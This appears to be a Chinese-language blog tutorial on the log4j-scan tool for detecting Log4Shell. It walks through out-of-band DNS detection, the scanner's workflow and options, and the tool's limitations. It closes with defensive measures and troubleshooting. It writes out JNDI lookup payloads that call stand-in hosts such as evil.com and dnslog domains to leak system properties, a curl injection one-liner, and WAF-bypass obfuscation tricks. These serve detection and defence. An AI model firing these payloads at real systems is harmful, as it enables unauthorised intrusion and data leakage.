
1. 项目概述为什么我们需要一个专门的Log4j RCE检测工具去年年底当Log4j2的CVE-2021-44228漏洞也就是大家熟知的Log4Shell被公开时整个安全圈乃至整个互联网都经历了一场大地震。我至今还记得那个周末手机上的各个应急响应群消息就没停过从金融、政府到互联网公司几乎所有人都在问同一个问题“我们中招了吗” 这个漏洞的可怕之处在于它利用的是Java应用里几乎无处不在的日志记录组件Log4j2攻击者只需要让应用记录一条包含特定格式的字符串就能在服务器上执行任意代码。更麻烦的是这个漏洞的触发点太隐蔽了它可能藏在HTTP请求头、用户代理、甚至是日志记录的任何一个普通字段里。当时手动检测几乎是一场噩梦。你需要去翻代码看有没有用Log4j2版本对不对然后还得构造各种Payload去尝试触发。效率低不说还容易漏。所以像log4j-scan这样的自动化检测工具几乎成了每个安全团队的“救命稻草”。它不是一个复杂的漏洞利用框架而是一个精准的“探测器”。它的核心目标非常明确给定一个目标比如一个URL自动、快速、准确地判断这个目标是否存在Log4j2远程代码执行漏洞。今天我就结合自己多次应急和渗透测试的经验来深挖一下log4j-scan这个工具背后的核心原理。理解了它怎么“看”漏洞你不仅能更好地使用它还能自己写一些检测逻辑甚至能看懂攻击者是怎么尝试绕过检测的。2. 核心检测机制拆解从漏洞原理到工具实现要理解log4j-scan的检测机制我们必须先回到漏洞本身。CVE-2021-44228的本质是Log4j2在打印日志时会对日志消息中的${}包裹的内容进行“查找解析”Lookup。如果这个内容是jndi:ldap://evil.com/Exploit那么Log4j2就会去尝试通过JNDI接口访问这个LDAP地址并加载远端恶意的Java类从而造成RCE。所以检测的核心思路就变成了我们如何构造一个特殊的“信号”让存在漏洞的应用在打印日志时必须通过发起一个网络请求来“回应”我们从而让我们确信漏洞存在log4j-scan采用的是一种非常经典且有效的检测模式带外Out-Of-Band, OOB检测。简单来说就是“我扔个石头听个响”。2.1 核心Payload构造DNS查询是突破口直接让目标执行命令并回显结果即回显检测在Web场景下往往很困难因为应用通常不会把命令执行结果直接输出到页面上。因此OOB检测成了首选。而在OOB通道中DNS查询又是最通用、最不容易被拦截的方式。log4j-scan的核心Payload通常长这样${jndi:ldap://${sys:java.version}.xxx.your-dns-server.com/a}我们来拆解一下这个Payload的巧妙之处基础漏洞触发${jndi:ldap://...}这是触发Log4j2 JNDI查找的标准格式。信息泄露${sys:java.version}这是一个Log4j2内置的Lookup用于获取当前Java版本。攻击者可以用它来获取系统属性如${env:USER}、${sys:os.name}等。在检测中它有两个作用一是确认漏洞确实被触发因为Lookup被执行了二是可以额外收集一点目标信息比如Java版本。唯一标识与OOB通道xxx.your-dns-server.com这是检测者控制的DNS服务器域名。xxx通常是一个随机生成的、唯一的子域名字符串如UUID。当存在漏洞的服务器解析这个Payload时它会尝试对${sys:java.version}.xxx.your-dns-server.com这个完整的域名进行DNS查询。这个查询请求会到达检测者预设的DNS服务器服务器记录下这个查询检测者就知道有目标中招了并且通过子域名xxx区分是哪个目标发起的请求。注意在实际攻击中ldap://后面跟的应该是一个由攻击者控制的恶意LDAP服务器地址用于加载恶意类。但在纯检测场景下log4j-scan通常只关心DNS查询是否发生因此它Payload中的LDAP服务器地址可能是不存在的或指向一个无害地址重点在于域名部分能触发DNS解析。有些检测工具甚至会使用dns://协议前缀如果环境支持来更直接地触发DNS查询。2.2 检测引擎的工作流程理解了核心Payload我们来看log4j-scan是如何运作的。它的工作流程可以概括为以下几个步骤初始化与监听工具启动时会生成一个唯一的“任务ID”并启动一个后台的DNS监听服务或者指定一个第三方DNS日志服务平台如interact.sh或dnslog.cn。这个服务负责捕获即将到来的DNS查询请求。Payload生成根据用户指定的目标工具会批量生成一批Payload。这些Payload中嵌入的唯一标识如UUID和DNS域名指向步骤1中监听的地址。请求注入工具将生成的Payload以各种可能被日志记录的方式发送给目标应用。这是检测的关键环节log4j-scan通常会尝试多个注入点HTTP请求头User-Agent、X-Forwarded-For、Referer、Cookie、自定义头部等。这是最常用的入口因为很多应用框架会将请求头信息记录到日志中。URL参数GET或POST请求的参数。POST Body表单字段、JSON数据中的特定键值。文件上传文件名、文件内容如果应用日志记录文件操作。监听与判断在发送Payload后的一个时间窗口内例如30-60秒工具持续监听DNS服务。一旦捕获到包含特定唯一标识的DNS查询记录就立即判定该目标存在Log4j2 RCE漏洞并标记为红色高危。结果报告工具汇总所有目标的检测结果生成报告指出哪些目标存在漏洞并可能附带触发的Payload和注入点信息。2.3 与简单Curl命令的本质区别你可能会想我是不是可以用一条Curl命令手动检测curl -H “User-Agent: ${jndi:ldap://test.dnslog.cn/a}” http://target.com这样做理论上可以但log4j-scan这样的工具将其工业化了主要体现在自动化与批量化自动生成唯一标识自动监听DNS自动轮询多个注入点自动扫描整个网段或URL列表。降低误报通过唯一标识精确关联“谁”触发了漏洞。手动检测时如果你用的DNSLog平台是公共的可能会看到别人的请求造成混淆。规避WAF/IDS工具可能会内置一些Payload变形技巧如大小写混淆、随机字符串插入、使用不同的协议前缀如ldap://、rmi://、dns://等以尝试绕过简单的字符串匹配规则。信息收集除了检测漏洞存在与否还能通过${sys:}或${env:}等Lookup尝试获取一些系统环境信息辅助判断漏洞的影响面。3. 深入实操运行log4j-scan并解读其行为光说不练假把式。我们假设你已经在测试环境切记仅限授权测试环境或本地搭建的漏洞靶场中准备好了目标现在来实际操作一下log4j-scan看看它的输出背后都发生了什么。3.1 环境准备与工具运行首先你需要一个能接收DNS查询记录的地方。对于初学者推荐使用在线的DNSLog平台比如dnslog.cn国内访问友好或interact.sh功能强大。这里以dnslog.cn为例。获取DNS子域名访问dnslog.cn它会给你分配一个临时的子域名比如xxxxxx.dnslog.cn。记下这个域名。安装log4j-scan通常它是一个Python脚本。git clone https://github.com/fullhunt/log4j-scan.git cd log4j-scan pip3 install -r requirements.txt运行扫描假设我们的目标是http://vuln-app.test:8080DNSLog域名为abc123.dnslog.cn。python3 log4j-scan.py -u http://vuln-app.test:8080 --dns-callback-host abc123.dnslog.cn3.2 关键参数与过程解析运行上述命令后工具开始工作。我们结合输出信息来解读初始化阶段工具会显示它使用的唯一标识canary和DNS回调主机。它可能会生成像a1b2c3.abc123.dnslog.cn这样的完整待检测域名。注入阶段你会看到工具开始发送HTTP请求并尝试将Payload注入到各个位置。控制台会滚动显示类似以下的尝试[*] Testing URL: http://vuln-app.test:8080 [*] Testing via Header: User-Agent [*] Testing via Header: X-Forwarded-For [*] Testing via Header: Referer [*] Testing via Parameter: username (POST) ...对于每一个注入点它发送的请求包中都会包含那个独特的${jndi:ldap://${sys:java.version}.a1b2c3.abc123.dnslog.cn}Payload。监听与判定阶段此时你需要同时去dnslog.cn的网页上点击“Refresh Record”或等待其自动刷新。如果目标应用存在漏洞且成功触发了某个注入点你将在DNSLog平台上看到一条新的DNS查询记录查询的域名正是java.version的值.a1b2c3.abc123.dnslog.cn。 一旦log4j-scan通过轮询机制它会定期检查你提供的DNSLog平台API获取到这条记录它就会在控制台高亮显示[VULNERABLE] http://vuln-app.test:8080 [INJECTION POINT] Header X-Forwarded-For [PAYLOAD] ${jndi:ldap://${sys:java.version}.a1b2c3.abc123.dnslog.cn}这清晰地告诉你目标存在漏洞并且是通过X-Forwarded-For这个HTTP头触发的。3.3 高级用法与参数精讲除了基本用法log4j-scan提供了一些参数来应对复杂场景--waf-bypass这个参数会启用一系列Payload混淆技巧。例如它可能会将${转换成${::-j}或者对字符串进行URL编码、Unicode编码等。目的是绕过那些只进行简单关键字匹配的Web应用防火墙WAF。注意过于复杂的混淆可能会降低Payload的兼容性导致在能触发漏洞的环境下也无法触发。--custom-dns-server如果你有自己的DNS服务器如ns1.yourdomain.com可以用这个参数指定实现检测流量的完全自控。--headers-file你可以提供一个文件里面每行是一个自定义的HTTP头名称。工具会尝试向所有这些头部注入Payload。这对于测试那些记录特定业务头部的应用非常有用。批量扫描使用-l urls.txt参数对一个URL列表进行批量扫描这对于企业内网资产普查非常高效。实操心得在实际的渗透测试或应急响应中我通常会先不加--waf-bypass跑一遍因为纯净的Payload兼容性最好。如果没有结果但目标又高度疑似存在漏洞比如已知使用了受影响版本的组件再启用WAF绕过功能进行第二轮测试。同时DNSLog平台的选择很重要要确保测试环境能正常解析外部DNS有些严格的内网环境可能会屏蔽外部DNS请求导致检测失败这时就需要搭建内网DNS中继或使用其他OOB通道如HTTP来配合。4. 检测机制的局限性分析与应对策略没有任何一个工具是万能的log4j-scan的OOB DNS检测机制虽然强大但也有其明显的局限性。理解这些局限能帮助你在实际工作中避免误判和漏报。4.1 主要局限性网络连通性问题这是最大的限制。如果目标服务器无法访问外网DNS即无法解析your-dns-server.com那么无论漏洞是否存在DNS查询都不会发生检测结果就是假阴性漏报。同样如果目标服务器的DNS流量被严格监控和过滤请求也可能发不出来。Log4j2配置影响Lookup功能被禁用在漏洞爆发后很多修复方案是直接设置系统属性log4j2.formatMsgNoLookupstrue或修改配置文件来禁用Lookup。在这种情况下Payload不会被解析检测无效。日志级别过滤如果注入点对应的日志语句级别高于当前应用的日志输出级别例如注入点在DEBUG日志中但应用只输出INFO及以上日志不会被记录漏洞也就不会触发。JNDI查找被限制高版本的Java如8u191默认限制了从远程地址通过JNDI加载类这阻止了RCE但可能不阻止DNS查询。因此检测可能成功能收到DNS请求但实际漏洞无法利用无法加载恶意类。这是一个需要仔细甄别的情况。Payload注入点覆盖不全工具虽然尝试了常见的HTTP头、参数但应用可能将用户输入记录到日志的路径千奇百怪。例如通过SOAP/XML消息体、特定的API字段、甚至数据库查询内容如果查询语句被记录。如果工具没有测试到那个特定的入口点就会漏报。WAF/IPS/IDS拦截越来越多的安全设备加入了针对Log4j Payload的规则。即使工具有WAF绕过模式也可能被更高级的行为分析或机器学习模型拦截。时间窗口与异步性DNS查询和工具监听之间存在时间差。如果工具监听时间设置过短可能错过延迟的响应。此外如果应用是异步处理请求或日志触发漏洞的时机更难把握。4.2 应对策略与补充检测手段面对这些局限一个专业的安全人员不能只依赖单一工具。组合使用多种检测方法静态代码分析SCA使用SCA工具扫描项目依赖直接识别出是否存在受影响的Log4j2版本。这是最直接、无干扰的方法但只能用于有源码或二进制包的情况。本地检测脚本编写或使用能在服务器本地运行的脚本检查Java进程的类路径、系统属性、Log4j2配置文件等。这对于应急响应排查特定服务器非常有效。流量镜像分析在网络边界或关键应用前端镜像流量并使用专门的特征检测脚本如grep -r “jndi:”或Suricata/Zeek等工具进行实时匹配。这能发现正在发生的攻击但不能证明漏洞一定存在可能是攻击者的试探。搭建内网DNS服务对于隔离环境可以在内网搭建一个DNS服务器并将log4j-scan的回调域名指向它。确保目标服务器能解析到这个内网DNS地址即可实现检测。多协议OOB尝试除了DNS可以尝试使用其他可能出网的协议作为OOB通道例如HTTP${jndi:ldap://http://your-server/}注意实际利用不是这样但检测时可尝试让目标发起HTTP请求、RMI等。有些工具支持配置多个回调类型。人工验证与深入利用当工具给出疑似结果或在高危环境下需要进行人工验证。可以尝试使用更复杂的Payload如触发一个轻微的、可观察的本地动作如执行sleep 10命令观察应用响应是否延迟或者尝试使用一个可控的LDAP服务端如marshalsec来真正加载一个简单的、只回连确认的测试类以100%确认RCE可行性。5. 从检测到防御构建纵深防护体系理解了攻击者的检测也是攻击的前奏原理我们就能更好地进行防御。防御Log4j这类漏洞绝不能只靠事后扫描。第一道防线彻底升级与修复立即升级将Log4j2升级到官方安全版本如2.17.03.x版本这是最根本的解决方案。紧急缓解如果无法立即升级必须实施官方推荐的缓解措施设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量或移除JndiLookup类。命令核查在Linux服务器上可以使用命令快速排查# 查找所有可能包含log4j-core的JAR包 find / -name “*.jar” -type f | xargs -I {} sh -c ‘jar -tf {} | grep -q “JndiLookup.class” echo “Found in: {}”’ # 检查Java进程的系统属性 jps -l | while read pid name; do echo “ $pid $name ”; jinfo -sysprops $pid 2/dev/null | grep -i log4j; done第二道防线运行时保护与网络控制WAF/IPS规则部署针对${jndi:、${ldap、${rmi:等关键字的过滤规则。但要注意绕过技巧规则需要持续更新。Java安全策略在高版本Java中强化JNDI和类加载的安全策略限制远程代码加载。网络出口限制严格限制服务器特别是业务服务器的外网访问权限禁止向非信任地址发起LDAP、RMI、DNS等协议请求。这是阻断OOB检测和实际利用的强力手段。第三道防线持续监控与威胁狩猎日志监控集中收集应用日志并设置告警规则监控日志中是否出现可疑的${模式。这能帮助发现正在进行的攻击或未修复的漏洞点。进程行为监控监控服务器上Java进程是否突然发起异常的网络连接尤其是到非常用端口的LDAP/RMI连接。定期漏洞扫描将log4j-scan这类工具整合到你的自动化安全扫描流程中定期对内外网资产进行主动检测变被动应急为主动发现。6. 常见问题与排查技巧实录在实际使用log4j-scan或进行Log4j漏洞排查时我踩过不少坑也总结了一些经验。Q1: 工具运行后DNSLog平台收到了请求但工具没报告漏洞可能原因1时间差。工具是轮询DNSLog API的可能有延迟。多等一会儿或者手动刷新DNSLog页面确认。可能原因2标识符不匹配。检查工具控制台输出的唯一子域名如a1b2c3和DNSLog上收到的查询子域名是否完全一致。有时工具会生成多个Payload进行测试。可能原因3网络问题。DNS查询可能走了其他路径或者DNSLog平台本身有缓存显示问题。Q2: 目标明显用了Log4j2但工具检测不出DNSLog也没收到请求排查思路确认注入点用Burp Suite等代理工具拦截一个正常请求观察应用日志到底记录了哪些信息。尝试手动修改这些字段进行注入。检查网络出站在目标服务器上执行nslookup your-dns-server.com看是否能解析。如果不能说明网络不通检测方法失效。检查Java版本和配置确认是否已设置了禁用Lookup的系统属性。检查java -version和jinfo输出。尝试本地触发如果有条件登录服务器可以写一个最简单的Java测试程序用Log4j2记录包含Payload的日志看本地是否能触发DNS查询。这能最快确定是环境问题还是远程注入点问题。Q3: 收到了DNS请求但后续测试证明无法真正执行命令RCE为什么这是最常见的情况之一。原因通常是Java版本较高目标Java版本在8u191、7u201、11.0.1及以上默认限制了JNDI远程类加载。存在其他缓解措施可能配置了com.sun.jndi.ldap.object.trustURLCodebasefalse或者使用了其他安全管理器。此时漏洞状态可判定为“存在漏洞但不可直接利用”。这仍然是一个安全风险因为未来可能出现新的绕过技术或者攻击者可能结合其他漏洞进行利用。Q4: 如何判断一个Payload是否被WAF拦截了使用工具扫描时对比开启和关闭--waf-bypass选项的结果。在Burp Suite中重放请求观察WAF的响应状态码如403、500或返回内容中是否包含安全产品的标识如Cloudflare、AWS WAF、ModSecurity等。尝试对Payload进行多层编码如URL编码、HTML编码、Unicode编码的组合观察哪种方式能通过。Q5: 在内网无外网环境如何检测自建内网DNS服务搭建一个简单的DNS服务器如dnsmasq并配置所有目标服务器将DNS指向它。然后让log4j-scan的回调域名指向这个内网DNS服务器的IP或一个它权威的域名。使用其他OOB通道如果内网有HTTP代理或可以访问某个内部Web服务器可以尝试构造Payload让目标向这个内部地址发起HTTP请求然后在Web服务器日志中查看访问记录。例如Payload可以尝试包含${jndi:ldap://internal-web-server/}虽然可能无法加载类但连接尝试会被记录。本地日志分析如果条件允许直接登录服务器查看应用日志文件搜索jndi、ldap、rmi等关键字这是最直接的方法。最后我想强调的是log4j-scan是一个优秀的检测工具但它只是一个起点。面对Log4j这种级别的漏洞真正的安全在于建立一套从供应链管理选择安全组件、安全开发避免危险API、持续集成SCA扫描、运行时防护到主动监控的完整体系。工具帮我们发现问题而解决问题的永远是对技术原理的深刻理解和完善的防御流程。